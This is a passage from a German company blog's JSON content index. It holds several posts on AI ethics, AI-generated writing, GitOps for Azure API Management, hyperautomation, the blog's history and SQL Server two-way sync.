des Deutschen Ethikrates betont deutlich: KI sollte die menschliche Autonomie erweitern, nicht einschränken. In diesem Sinne müssen wir weiterhin bestrebt sein, ethische KI-Lösungen zu entwickeln und zu implementieren, um eine Gesellschaft zu schaffen, in der Technologie das menschliche Wohlergehen fördert, ohne unsere fundamentalen Werte zu gefährden.\nMehr zu unseren KI-Lösungen. ","date":"14. März 2024","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/ki-und-ethik_hu0398d5491e8cf60fa59c3f0c3469c566_172660_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/ki-und-ethik_hu0398d5491e8cf60fa59c3f0c3469c566_172660_650x0_resize_q90_box.jpeg'\"\u003e\n \n \n \n\n","permalink":"/ethische-ki-und-was-aristoteles-und-microsoft-damit-zu-tun-haben/","tags":["automation","security"],"title":"Ethische KI und was Aristoteles und Microsoft damit zu tun haben"},{"categories":["Insights"],"contents":"In today\u0026rsquo;s fast-paced digital landscape the emergence of artificial intelligence (AI) has revolutionized various aspects of our lives, including content creation. AI-generated blog posts have become increasingly prevalent, offering especially us writers a powerful tool to boost productivity and streamline our creative process. However, beneath the surface lies a philosophical conundrum, raising questions about the implications for creativity and individualism.\nPhilosophical considerations On one hand, AI-generated content presents undeniable advantages. It can serve as a catalyst for inspiration, breaking through writer\u0026rsquo;s block and providing a starting point for further exploration. With algorithms capable of generating high-quality content on diverse topics within minutes, we can save precious time and focus more of our energy on refining our ideas.\nOn the other hand, the allure of efficiency comes with a price. At its core, writing is a deeply personal and expressive endeavor, reflecting the unique voice and perspective of the author. When content is generated by AI, it runs the risk of lacking authenticity and failing to connect with readers on a genuine level. This poses a significant threat to creativity and individualism, as writers risk sacrificing their distinctiveness in favor of convenience.\nThe importance of conscientious review Moreover, the proliferation of AI-generated content raises concerns about its accuracy and reliability. While AI algorithms can produce content at lightning speed, they are not infallible. Just as an unskilled programmer might blindly copy and paste code snippets from StackOverflow without understanding their implications, writers who fail to conscientiously review AI-generated content risk perpetuating misinformation, false narratives or even fake news. Therefore, it is imperative for writers to approach AI-generated content with caution and responsibility. Just as programmers bear the responsibility of understanding the code they write, writers must thoroughly review and edit AI-generated content to ensure its accuracy and ethical integrity.\nThe right balance In conclusion, AI-generated blog posts offer undeniable benefits in terms of productivity and efficiency, but they also pose significant challenges to creativity and individualism. As writers, it\u0026rsquo;s essential to strike a balance between harnessing the power of AI to enhance our work and preserving the integrity and authenticity of our craft. By approaching AI-generated content with caution and conscientiousness, we can ensure that technology remains a valuable tool rather than a threat to the essence of human expression and society in the digital age.\nThis post was generated and translated by AI using ChatGPT 3.5 and Deepl. Here\u0026rsquo;s my prompt:\nWrite a blog post about AI-generated blog posts. Explain to the audience how AI can help writers increase their productivity and make it easier for them to get started, but also how it poses a threat to creativity and individualism from a philosophical perspective. Address the problem that generated content must always be reviewed by the author and the dangers of not doing so diligently, such as the spread of misinformation or even fake news. Compare this to an unskilled programmer simply copying and pasting snippets from StackOverflow without understanding what they are doing. Remind the reader that the use of AI comes with a certain sociological responsibility.\nObjektkultur is a german software service provider and partner of Microsoft ","date":"7. März 2024","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/ai-generated-blog-posts_huc82beb172b53a2f9e3e51546efdc31f5_57597_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/ai-generated-blog-posts_huc82beb172b53a2f9e3e51546efdc31f5_57597_650x0_resize_q90_box.jpeg'\"\u003e\n \n \n \n\n","permalink":"/the-role-of-the-author-in-ai-generated-blog-posts/","tags":["tooling"],"title":"The role of the author in AI-generated blog posts"},{"categories":["Insights"],"contents":"With the proliferation of APIs and microservices, it is more important than ever for businesses to effectively and consistently manage their APIs, and the API-Management service from Azure is designed to do just this. But how should you\u0026hellip;manage\u0026hellip;API-Management to meet the unique needs of your organization?\nEnter GitOps for API-Management. This approach leverages centralized configuration management, automated deployments and seamless collaboration to deploy and maintain Azure API-Management as a centralized shared platform service. In this article, we will lay out this approach and show how it can help your organization achieve speed, security and scalability in managing your APIs.\nSpeed: API developers should be able to publish their APIs quickly. This means the processes need to fit into the tools and workflows the developers are already using. New features to the platform service should also be rolled out quickly. Security: Every organization has its own standards and governance requirements around permissions, reporting, etc. The platform needs to enforce these, with transparency. Scalability: The platform needs to support increasing numbers of APIs and changing user requirements without compromising time-to-deployment or security of the APIs. The following high-level diagram shows the main components that are built around the Azure API-Management resources themselves to make up the shared service. API developers and consumers are users of the shared service, and the Shared Service Team on the right is the team responsible for designing, implementing, and managing the service, as well as providing customer support and enablement. Let\u0026rsquo;s look at this in more detail, starting at the bottom right of the diagram. \u0026ldquo;Everything-as-code\u0026rdquo; is the order of the day.\nThe infrastructure repositories hold the configuration scripts for all Azure resources: the API-Management Service, virtual machine scale sets to use as build agents, network resources, as well as permissions-related resources: API subscriptions, keys, role definitions and assignments, etc. These configurations are validated via pull request validation pipelines and deployed automatically with release pipelines. Written in yaml and protected by policies, these pipelines allow the team to maintain consistent infrastructure across all stages, roll out or roll back changes quickly, and document all changes.\nThe API template repository, seen top right in the diagram, represents an API developer workspace template. An instance of the template is automatically deployed for each API developer team during the onboarding process. This provisions the provider with the resources on the left of the diagram: a dedicated Azure DevOps repository containing a sample OpenAPI specification and API policies to help them get started. Within this space, the provider has as much freedom as possible. Also deployed automatically with onboarding are a set of pipelines with which the provider can deploy their resources, and security groups on the basis of which access to resources is restricted via role-based-access control. Changes to provider infrastructure triggered by stagings or addition of new API consumers are also rolled out and documented automatically by pipelines.\nGuidelines around API security and naming conventions required by the organization are enforced by an API linter service as follows. The company rule set is stored in a repository to which the API developers have read-access. A customized linter and online editor, adapted from the open-source Zalando repository, is deployed on an Azure App Service and linked to the API-Management Developer Portal as an external resource. This enables the developers to conveniently parse their API definition and receive immediate feedback about violated rules.\nHow does all this look from the perspective of an API developer? Compatibility with their usual workflow is important to supporting agility as well as adoption of the service.\nWhen an API provider wants to make revisions to their API specification or to their API policy, they create a branch, make changes, and open a pull request. A few required checks on the pull request serve to enforce compliance with company standards. Most importantly, a pipeline validates the API specification against the API linter, and feedback is written as a comment in the pull request, listing any rules that are violated by the OpenAPI definition. The pipeline fails and the pull request is blocked from completion as long as there are violations of “MUST” rules. A “SHOULD\u0026quot; or \u0026ldquo;MAY\u0026rdquo; rule may be violated, but the developer has to manually resolve the feedback comment, providing an affirmation that they have seen and understood those violations.\nOnce those checks are successful, a second developer from the same team can review and approve the pull request. The PR is completed and the code is merged to main, as usual. This completion triggers a release pipeline, which documents the infrastructure change in a centralized change-management system for compliance with organizational documentation requirements. Finally, the changed API is deployed to API-Management following a successful health check of the endpoint. At this point, the API is available in API-Management Service and can be seen in the Developer Portal.\nThis process enables developers to bring to production new or changed APIs in a way that completely fits within their existing development workflow, speeding time to deployment. Moreover, the API developers can work independently here, allowing the platform to scale to more APIs without a direct effect on the capacity of the Shared Service team.\nOne last aspect can\u0026rsquo;t be overlooked: permissions management. Following the principle of least privilege, access to Azure and DevOps resources is, by default, blocked. For each API provider, dedicated security groups are created, and only members of these groups are given privileges. For example, there is a monitoring workbook provisioned for each provider, which can only be accessed by members of the corresponding Entra ID group. Only members of the appropriate DevOps security group have permissions to push changes to the provider repository, approve pull requests and trigger pipelines. All of these roles, policies and assignments are defined and managed by infrastructure-as-code. And, importantly, the provider is responsible for managing membership: the provider designates responsible persons, and only they have the ability to approve requests to join the group. The Shared Service team is responsible for the centralized technical provisioning and maintenance of permissions, but not for group management.\nCentrally deploying API-Management with a GitOps approach like this offers significant benefits for an organization. API developers can work quickly and independently to bring APIs to production, with support from an expert team. From a security perspective, transparency around which data are being consumed by whom is achieved and compliance with standards is centrally enforced. Automation allows a small core Shared Service team to develop and deploy new features at the same time as meeting customer needs, in a scalable way.\n","date":"15. Februar 2024","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/api-title_hu5fc4f57a91cd7cf17792e1458e7c0ea0_427565_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/api-title_hu5fc4f57a91cd7cf17792e1458e7c0ea0_427565_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/gitops-for-api-management/","tags":["azure","automation","azure-devops"],"title":"GitOps for API-Management"},{"categories":["Insights"],"contents":"Ein Interview zwischen Mike Ullrich, Managing Consultant, und Anna Herp, Online-Marketing-Spezialistin, der Objektkultur. Anna: Hallo Mike, was ist der Unterschied zwischen Automation und Hyperautomation?\nMike: Automation bedeutet, repetitive Aufgaben und Arbeitsabläufe im Unternehmen mit Hilfe verschiedener Technologien zu optimieren und zu automatisieren. Das Ziel von Automation ist es, menschliche Aufwände zu minimieren und den Arbeitsalltag zu erleichtern. Das kann mittels Skripten, Makros oder Workflow-Tools erreicht werden. In IT-Abteilungen werden mittels Automation zum Beispiel Schnittstellen programmiert, Integrations-Middleware oder spezialisierte Workflow-Tools eingesetzt.\nHyperautomation geht über die reine Automatisierung von Einzelprozessen und -Aufgaben hinaus. Es handelt sich um eine Strategie zur Automatisierung von kompletten Geschäftsprozessen mit Hilfe verschiedener Technologien wie Robotic Process Automation (RPA), künstlicher Intelligenz (KI) , maschinellem Lernen (ML), Natural Language Processing (NLP) und Data Analytics . Das Besondere: Die Fachabteilungen können die Hyperautomation selbst mittels sogenannter Low-Code-Tools umsetzen und müssen die IT-Abteilung nicht zwingend involvieren. Auch komplexere und übergreifende Geschäftsprozesse können so nicht nur ressourcensparend und schnell automatisiert, sondern auch optimiert werden. Der Grund: Hyperautomation automatisiert auch Prozesse zur Entscheidungsunterstützung, führt datenbasierte Analysen durch, gibt Vorschläge zur Verbesserung und setzt kontextbezogene Aktionen in Echtzeit um. Anna: Kannst du ein Beispiel für Hyperautomation nennen?\nMike: Sogar zwei! Hyperautomation kann zum Beispiel bei der Bearbeitung und Digitalisierung handschriftlich ausgefüllter Formulare wie Kundenserviceformulare unterstützen und zwar in Kombination mit Low-Code-Tools: Die entsprechende Fachabteilung könnte sich eigenständig ohne Unterstützung der IT-Abteilung einen Flow mittels visueller Drag-and-Drop-Funktionalitäten bauen. Es wird definiert, wie das Tool die Formulare automatisiert auslesen, auswerten und ins CRM-System übernehmen soll. Somit können manuelle Aufwände erheblich reduziert werden.\nEin weiteres, weitaus komplexeres Beispiel für den Einsatz von Hyperautomation ist die Finanzprognose. Hier müssen Unternehmen große Mengen an Finanzdaten automatisch erfassen, analysieren und mit historischen Mustern abgleichen. Mithilfe von KI und maschinellem Lernen können präzisere Prognosen erstellt werden, um fundierte Geschäftsentscheidungen zu treffen. Dies beschleunigt den Planungsprozess erheblich und ermöglicht eine flexiblere Reaktion auf Marktschwankungen.\nKurz: Während bei der Automatisierung einzelne Aufgaben von der IT-Abteilung rationalisiert werden, revolutioniert Hyperautomation ganze Abläufe als Selbsthilfetool für Fachabteilungen ohne Entwicklerkenntnisse. Anna: Was sind die strategischen Vorteile von Hyperautomation für Unternehmen?\nMike: Die Vorteile reichen von effizienteren Workflows, reduzierten Kosten bis zu Wettbewerbsvorteilen auf Grund schnellerer Anpassungsfähigkeit an Marktanforderungen. Einen weiteren Vorteil von Hyperautomation sehe ich bei der Übersichtlichkeit, die trotz komplexer Prozesse und Zusammenhänge durch das Zusammenspiel der Tools gegeben wird. Das bietet insbesondere für das Management viel Potential. Durch das Enabling von Nicht-Entwicklern, sogenannten Citizen Developers, wird die Automatisierung und Digitalisierung eigenständig und individuell im Unternehmen vorangetrieben. Das steigert die Effizienz und die Motivation, denn aus Mitarbeitenden werden auf einmal Involvierte. Anna: Für wen ist Hyperautomation denn interessant? Bei welchen Aufgaben und Anwendungsbereichen kann Hyperautomation zum Beispiel eingesetzt werden?\nMike: Hyperautomation ist relevant für alle Firmen, die bei der umfassenden Digitalisierung und Automatisierung schneller vorankommen möchten. Häufig sehen wir bei unseren Kunden, dass sie zu wenig Softwareentwickler im Haus haben, um alle umfangreichen und komplexen Anforderungen umzusetzen, die an sie herangetragen werden. Diese Kunden warten auf die Entwicklung neuer kleiner Funktionen manchmal mehrere Quartale, das führt zu Frust. Hyperautomation kann hier helfen, da sowohl einfache Aufgaben als auch komplexe, menschliche Entscheidungsprozesse unterstützt und abgebildet werden können. Hyperautomation ist also nicht nur für IT-Bereiche interessant, sondern für verschiedene Fachbereiche und das Management.\nEin weiterer Anwendungsfall für Hyperautomation könnte eine Lösung sein, die es einem Unternehmen ermöglicht, seine Rechnungsverarbeitung zu automatisieren . Spezialisierte KI-Tools (wie AI Builder) würden aus den gescannten Rechnungen automatisch Fakten extrahieren und weiter analysieren. Workflow-Tools könnten den Rechnungsgenehmigungs- und Zahlungsprozess orchestrieren - und das ohne ein aktives To-Do beim Fachbereich!\nEs gibt noch viele weitere Anwendungsbereiche für Hyperautomation, beispielsweise bei der Automatisierung von Personalbeschaffung, beim Vertragsmanagement, Kundensupport und bei anderen Geschäftsprozessen. Das Potential in Unternehmen, sich die Arbeit zu erleichtern, ist also groß! Anna: Das klingt wie Process Mining, hat das etwas mit Hyperautomation zu tun?\nMike: Ja, Process Mining ist ein Teil von Hyperautomation und wird eingesetzt, um Geschäftsprozesse anhand von Prozessdaten zu analysieren und zu verbessern. Diese Überprüfung kann sowohl manuell als auch technologiegestützt, automatisiert und mit Hilfe von Künstlicher Intelligenz erfolgen, die Vorschläge zur Verbesserung der Prozesse erstellt.\nEin Beispiel aus der Microsoft-Anwendungswelt wäre das Process Mining mittels Microsoft Dynamics 365 Supply Chain Insights, das z. B. Lieferengpässe bei Lieferanten erkennen sowie Risikovorhersagen und Warnungen ausspielen kann. Anna: Gibt es bei der Einführung von Hyperautomation-Tools Besonderheiten zu beachten?\nMike: Wie bei jeder Einführung neuer Technologien und Methoden ist ein gutes Change-Management im Unternehmen essenziell. Die Erfahrung zeigt, dass IT-Abteilungen den Citizen Developers unbedingt Richtlinien und Regelwerke vorgeben sollten. So werden ein Anwendungs-Wildwuchs, Doppelarbeiten und zu komplexe, pflegeintensive Aufgabenstellungen für Bots vermieden. Wir als Digitalisierungsdienstleister bieten unseren Kunden sämtliche Leistungen von der Strategieberatung über die Einführung von Hyperautomation-Tools bis zur Unterstützung im täglichen Einsatz.\nJetzt Erstgespräch anfragen! Anna: Worauf achtest du, wenn Tools aus dem Microsoft-Ökosystem zur Hyperautomation eingesetzt werden sollen?\nMike: Zunächst gilt es, die organisatorischen Fragen zu klären: Wird beispielsweise bereits Azure Active Directory eingesetzt, gibt es einen Cloud-Vertrag mit Microsoft, gibt es bereits ein Datenschutzkonzept für Cloud-Anwendungen? In der Konzeptionsphase geht es an die Tool-Auswahl und deren Abdeckungsgrad: Bei der Hyperautomation muss genau geprüft werden, welche individuellen Anforderungen im Unternehmen vorherrschen, sodass die lizenzierten Tools effizient eingesetzt werden können. Anna: Ich formuliere es mal überspitzt: Kann Hyperautomation auch schief gehen?\nMike: Jede Software-Einführung im Unternehmen kann schief gehen. Genau deshalb sollten Unternehmen nicht einfach „auf gut Glück“ loslegen, sondern zunächst eine Strategie, eine Roadmap und klare Ziele setzen und sich dabei auf Beratung von Experten stützen. Die Erfahrung zeigt, dass die Hyperautomation kein Selbstläufer ist, sondern klar und konsequent kommuniziert werden muss. Auch die Verantwortungsbereiche müssen geklärt werden, so beispielsweise beim Thema Low-Code-Entwicklung: Die Citizen Developer werden viel selbst umsetzen können, aber wenn sie an Grenzen stoßen, muss geklärt sein, von wem sie sich innerhalb oder außerhalb des Unternehmens Entwicklungsunterstützung holen können. Aber auch hier kann bereits viel im Vorhinein durch klare Regelungen gesteuert werden.\nJetzt Beratung von Experten einholen! Leistungen rund um Hyperautomation Anna: Und zuletzt: Welche Hyperautomation-Tools haben sich im Projektgeschäft bewährt?\nMike: Wir bei Objektkultur setzen auf die Power Platform und die Cloud-Dienste von Microsoft. Dies stellt aktuell aus unserer und auch aus der Sicht von Analysten wie Forrester die umfangreichste und vollständigste Plattform für Hyperautomation dar - mit verschiedenen Applikationen wie Microsoft Power BI, Power Apps wie Power Automate, Chatbots, PowerPages, Process Advisor, dem Microsoft Dataverse sowie den CRM- und ERP-Systemen Microsoft Dynamics 365 .\nHyperautomation jetzt starten! ","date":"31. Januar 2024","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/hyperautomation_hu2fc56194fd7df3f993ae05834059248f_297153_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/hyperautomation_hu2fc56194fd7df3f993ae05834059248f_297153_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/was-ist-hyperautomation-und-was-hat-low-code-damit-zu-tun/","tags":["automation","low-code"],"title":"Was ist Hyperautomation? Und was hat Low-Code damit zu tun?"},{"categories":["Insights"],"contents":"Den OKBlog gibt es mittlerweile nun fast drei Jahre und wir feiern heute den 100sten Blogbeitrag! Also genügend Zeit und Beiträge, um einmal den Blick zurück zu werfen und euch ein paar Einblicke in den Unternehmensblog der Objektkultur zu geben. In diesem Beitrag zeigen wir euch, wie wir mit dem Bloggen begonnen, welche Herausforderungen sich uns am Anfang in den Weg gestellt und wie sich der Blog und auch wir weiterentwickelt haben.\nEs war einmal\u0026hellip; Das Thema Bloggen im Unternehmen war vor 2020 nichts Neues bei unseren Kolleginnen und Kollegen von Objektkultur. Lediglich der Einstieg war noch nicht geschaffen, um einfach mal loszulegen. Und genau das haben wir - ganz Objektkultur-typisch - dann auch gemacht. Gemeinsam mit Kollegen aus dem Projektgeschäft und unserer Marketing Managerin haben wir uns zusammengesetzt und überlegt, welche Eckpfeiler der Unternehmensblog von Objektkultur haben soll.\nNeben der internen Organisation, wie dem Ressourcenplan der Blogger, der technischen Infrastruktur und dem Contentplan, ging es auch darum, wie wir unseren Blog ausrichten wollen. Wie sollen Inhalte dargestellt werden? Welche Zielgruppe spricht der Blog an? Wer soll typischerweise einen Blogbeitrag schreiben? Sollen die Blogbeiträge technisch sein oder ausschließlich unser Produktportfolio abbilden? Wie können wir die Auffindbarkeit der Blogbeiträge erhöhen (SEO)?\nJede Menge Fragen, die es zu beantworten galt. Eine zentrale Frage hierbei war die der Inhalte. Aus unserer Überzeugung heraus war der Wunsch entstanden, jeder Mitarbeiterin und jedem Mitarbeiter eine Plattform zu bieten, um ihre/seine technische Expertise auch über die Unternehmensgrenzen hinweg teilen zu können. Unser Anspruch war es, Blogbeiträge zu schreiben, die einem bei den täglichen Problemenen im Entwickleralltag helfen können und über die wir selbst dankbar gewesen wären. Das schließt natürlich nicht aus, dass es auch mal Verweise auf unsere Unternehmenswebsite geben soll. Letztlich sollen sich beide Plattformen ergänzen. Da wir unternehmenstypisch über den Tellerrand hinausschauen, wollten wir auch hier die Synergieeffekte der beiden Plattformen bestmöglich ausnutzen.\nTechnischer Beginn mit WordPress Da wir im Team wenig Erfahrung mit dedizierten Blog-Systemen hatten, starteten wir getreu dem Motto \u0026ldquo;Schuster bleib bei deinen Leisten\u0026rdquo;. Wie die Unternehmenswebsite verwendeten wir zu Beginn WordPress, was den Einstieg deutlich erleichterte. Natürlich sahen wir uns hierdurch mit neuen Herausforderungen konfrontiert, immerhin unterscheiden sich die Inhalte von der Unternehmensseite sehr vom Unternehmensblog.\nAls Webadresse haben wir uns für https://blog.objektkultur.de/ entschieden, also einer Subdomain von https://objektkultur.de/ . Mithilfe eines Wordpress-Plugins konnte der Blog initial eingerichtet und eine Grundstruktur für die Veröffentlichung neuer Beiträgen geschaffen werden. Am 03.03.2021 war es dann soweit, der erste Blogbeitrag wird auf dem Unternehmensblog von Objektkultur veröffentlicht!\nInitialprozess beim Start 2021:\nEinige Hauptblogger und Interessierte aus dem Unternehmen schreiben ihre Beiträge Überführung in WordPress durch Marketing Managerin und Qualitätssicherung Veröffentlichung auf dem Blog Analyse durch Google Analytics Warum wir uns nach 1,5 Jahren gegen WordPress entschieden haben Was uns zu Anfang half, die PS schnell auf die Straße zu bringen, sollte sich später als Klotz am Bein entpuppen. Die Rede ist von WordPress. Neben den bekannten Schwächen im Bereich Performance und Sicherheit waren es vorrangig jedoch andere Dinge, die uns plagten. Während der eingesetzte WYSIWYG -Editor zwar seinen Dienst tat, die Artikel alle einheitlich gestaltet erscheinen zu lassen, war es auf der anderen Seite immer mühsam, die geschriebenen Inhalte darin in Blöcke zu unterteilen und einzupflegen.\nWeiter wollten wir den Blog langsam für andere Schreiberlinge aus dem Unternehmen öffnen. Dazu mussten wir zunächst entweder deren Artikel für sie zusätzlich einpflegen oder ihnen einen Zugang zu WordPress verschaffen und verwalten. Mit wachsender Anzahl verschiedener Autoren stieg der Aufwand immer mehr, auch für den Korrektur- und Veröffentlichungsprozess, vor allem aber hinsichtlich der Gesamtkoordination. Zu viele manuelle Schritte, zu wenig Automatisierung, kein angepasster und klar definierter Prozess. Wir standen vor einem Skalierungsproblem. Gut, dass wir als Software-Dienstleister und Entwickler genau wissen, was in so einem Fall zu tun ist. Zeit, die Prozesse neu zu denken und den Blog vernünftig zu digitalisieren. Krisensitzung des Blog-Teams bei Pizza und Bier.\nMigration auf den Static-Site-Generator Hugo Nach einem kurzen Brainstorming war es nicht wirklich überraschend, wohin die Reise gehen sollte. Als Developer und Techies bleiben wir gerne bei unseren Tools und stellten uns einen Prozess basierend auf Git, Pipelines, Markdown und einem Static-Site-Generator vor. Für die ersteren Technologien entschieden wir uns bei Azure DevOps zu bleiben. Damit kann jeder bei uns umgehen, die Tools sind sowohl schlank als auch leistungsfähig zugleich und lassen sich wunderbar automatisieren. Für den Static-Site-Generator verglichen wir zunächst die bestehenden Lösungen auf dem Markt und entschieden uns dann einstimmig für Hugo . Open Source, kostenlos, performant und erweiterbar. Einzig ein hochwertiges Theme haben wir gekauft, welches wir ein wenig auf unsere Bedürfnisse angepasst haben.\nDie ganze Idee besteht letztlich darin, Blogbeiträge über Pull-Requests im Posts-Verzeichnis in das Repository zu bringen und zu verwalten, aus welchem der Blog mithilfe von Hugo und automatisierten Pipelines gebaut und in einer Static Web App in Azure bereitgestellt wird. Wir haben die Entscheidung bis heute nicht eine Sekunde bereut.\nDer Erstellungsprozess der Beiträge über Markdown und Azure DevOps In unserem internen Wiki ist der oben dargestellte Prozess dokumentiert. Neue Autoren bekommen hier alle Infos, wie sie beim Erstellen ihrer Beiträge vorgehen müssen. Der Prozess ist unkompliziert, denn durch den Einsatz uns bekannter Tools und Entwicklungsprozesse ist die Einstiegshürde für die Kolleginnen und Kollegen in unserem Unternehmen sehr gering. Das lässt sich nicht zuletzt an der steigenden Zahl der Blogger bei uns messen.\nSie schreiben ihre Artikel in Markdown und reichen sie über einen Pull Request (PR) ein. Die Build-Pipeline stellt den neuen Artikel dann direkt in unserem Testsystem bereit, wo dieser gegengelesen wird. Korrekturen werden über die Kommentarfunktion im PR kommuniziert oder direkt über den Branch eingepflegt. Genehmigt die Marketing Managerin den PR, wird der Artikel automatisch über die Deploy-Pipeline veröffentlicht. Markdown, Hugo und unser Theme sorgen für eine einheitliche Darstellung der Artikel. Der Prozess läuft jetzt autonom, entkoppelt und automatisiert ab. Als Web-Analytics-Tool nutzen wir anstatt Google Analytics inzwischen Matomo, das uns die Möglichkeit bietet, sämtliche Statistiken datenschutzkonform zu erfassen.\nDie Hauptakteure des OKBlogs Das Hauptteam des OKBlogs besteht aus den Hauptautoren Tobias Heilig und Waldemar Felde , welche primär die Blogbeiträge schreiben und in ihrem Themengebiet über langjährige Erfahrung und damit Expertise verfügen. Für die Contentplanung, die Qualitätssicherung und die Veröffentlichung ist unsere Marketing Managerin Chiara Tyrtania verantwortlich. Durch den einfachen Zugang über Markdown und der Bereitstellung des Blogs über Git bloggt nun ein beachtlicher Teil des Unternehmens.\nZahlen und Statistiken Als zahlengetriebenes Unternehmen dürfen zum Schluss selbstverständlich ein paar Statistiken und Zahlen nicht fehlen.\nSo konnten wir seit dem Launch des Blogs 23 Blogger aus verschiedenen Unternehmensbereichen gewinnen. Das heißt, jeder fünfte Mitarbeitende hat bereits mindestens einen Blogbeitrag geschrieben und veröffentlicht!\nEine weitere spannende Statistik wurde schon zu Anfang gelüftet. Wie der Zufall möchte, beträgt die Gesamt-Anzahl an Blogbeiträgen auf unserem OKBlog, inklusive diesem hier, derzeit genau 💯🎉 Blogbeiträge. Happy Birthday, OKBlog! Im Schnitt kommen wir somit auf knapp drei Blogbeiträge pro Monat. Insgesamt tummeln sich in allen Beiträgen zusammen genommen bereits über 90.000 Wörter.\nWeiter dürfen in dieser Rubrik die drei meistgeklickten Beiträge nicht fehlen - auf zur Siegerehrung! Stand heute:\nPlatz: 500 Klicks - Cloud-First Identity Management - Wie wir den MIM in den Ruhestand schicken Platz: 427 Klicks - How to setup renovate in Azure DevOps to keep your project dependencies up to date Platz: 393 Klicks - Unboxing Dynamics 365 Customer Service Copilot Mit dem am zweithäufigsten geklickten Beitrag von Rodrigo Groener konnten wir darüber hinaus auch ein wenig an Berühmtheit erlangen. Dieser wurde damals auf einem offiziellen Microsoft-Dev-Blog referenziert.\nVon Qualität zu Quantität krönen wir zuletzt noch die fleißigsten Blogger. Unangefochten vorne liegt hier Waldemar Felde mit 28 Beiträgen, gefolgt von Tobias Heilig mit 22 Beiträgen. Klammern wir die Hauptautoren aus, gewinnt Samuel Schnurr mit sage und schreibe 7 Beiträgen und lässt damit viele One-Hit-Wonder hinter sich - prima, weiter so!\nWir freuen uns auf die nächsten 100 Beiträge und hoffen, dass wir damit nicht nur uns, sondern auch unseren Lesern weiterhin wertvolle Inhalte liefern.\nKeinen Beitrag mehr verpassen? ","date":"18. Januar 2024","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/happy-birthday-okblog_hu882daef0680d62e7c63531eae229bff7_75211_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/happy-birthday-okblog_hu882daef0680d62e7c63531eae229bff7_75211_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/happy-birthday-to-us-der-unternehmensblog-von-objektkultur/","tags":["tooling","automation"],"title":"Happy Birthday to us! 💯 - der Unternehmensblog von Objektkultur"},{"categories":["How-To"],"contents":"In den letzten zwei Blogbeiträgen habe ich die Datenmigration vom SQL-Server thematisiert. Im ersten Teil wurden die Funktionalitäten rund um Change Tracking auf dem SQL-Server erläutert und im zweiten Teil habe ich gezeigt, wie mit Worker Service die Änderungen abgerufen und an den Azure Service Bus weitergeleitet werden.\nHier entlang zum Nachlesen:\nDatenmigration mit dem SQL-Server: Was hat sich bei dir geändert? . Datenmigration mit dem SQL-Server: Daten in der Einbahnstraße . In diesem Beitrag möchte ich den Weg zurück betrachten. Das bedeutet, dass ein bidirektionaler Austausch der Daten zwischen dem SQL-Server und dem Drittsystem erfolgt. Welche Herausforderungen auf uns warten und wie man diese am besten bewältigt, zeige ich erneut in einer beispielhaften Implementierung.\nDatenverkehr in beide Richtungen: Two-Way-Sync Das Senden und Empfangen von Daten wird auch als Two-Way-Synchronisation bezeichnet. Die Komplexität ist im Vergleich zu einem One-Way-Sync natürlich deutlich höher. So können durch die Anpassbarkeit der Datensätze in beiden Systemen Inkonsistenzen entstehen, welche die Sync-Logik im besten Fall selbstständig lösen kann. Für gewöhnlich agiert in einem solchen Szenario ein System als führend, wessen Änderungen an den Datensätzen dann entsprechend vorgezogen wird.\nZusätzlich zur bestehenden Sende-Logik aus der One-Way-Sync-Demo muss diese um eine Empfangslogik erweitert werden:\nEmpfangen der Domänen-Entität Mappen auf Ziel-Entität Speichern der Änderungen in Datenbank (Erstellung, Aktualisierung, Löschung) Wir gehen in diesem Szenario davon aus, dass das führende System die Anwendung mit dem SQL-Server ist. Die Drittsysteme kennen somit die Primärschlüssel der SQL-Datenbank und senden diese stets mit, wodurch entsprechende Aktionen an der Datenbank vorgenommen werden können.\nZusätzlich muss die Stored Procedure für die Sende-Logik angepasst werden, damit einkommende Änderungen nicht von der Sende-Logik fälschlicherweise als solche erkannt und gesendet werden.\nErweiterung der Demo um einen Two-Way-Sync Neben dem Erstellen eines komplett neuen Workers (ReceiveWorker) wird auch die Stored Procedure entsprechend angepasst.\nFolgende Schritte sind für die Empfangslogik zu implementieren:\nAbruf der Änderungen vom Azure Service Bus Mappen der Domänen-Entität auf Ziel-Entität Speicherung der Änderung in Datenbank 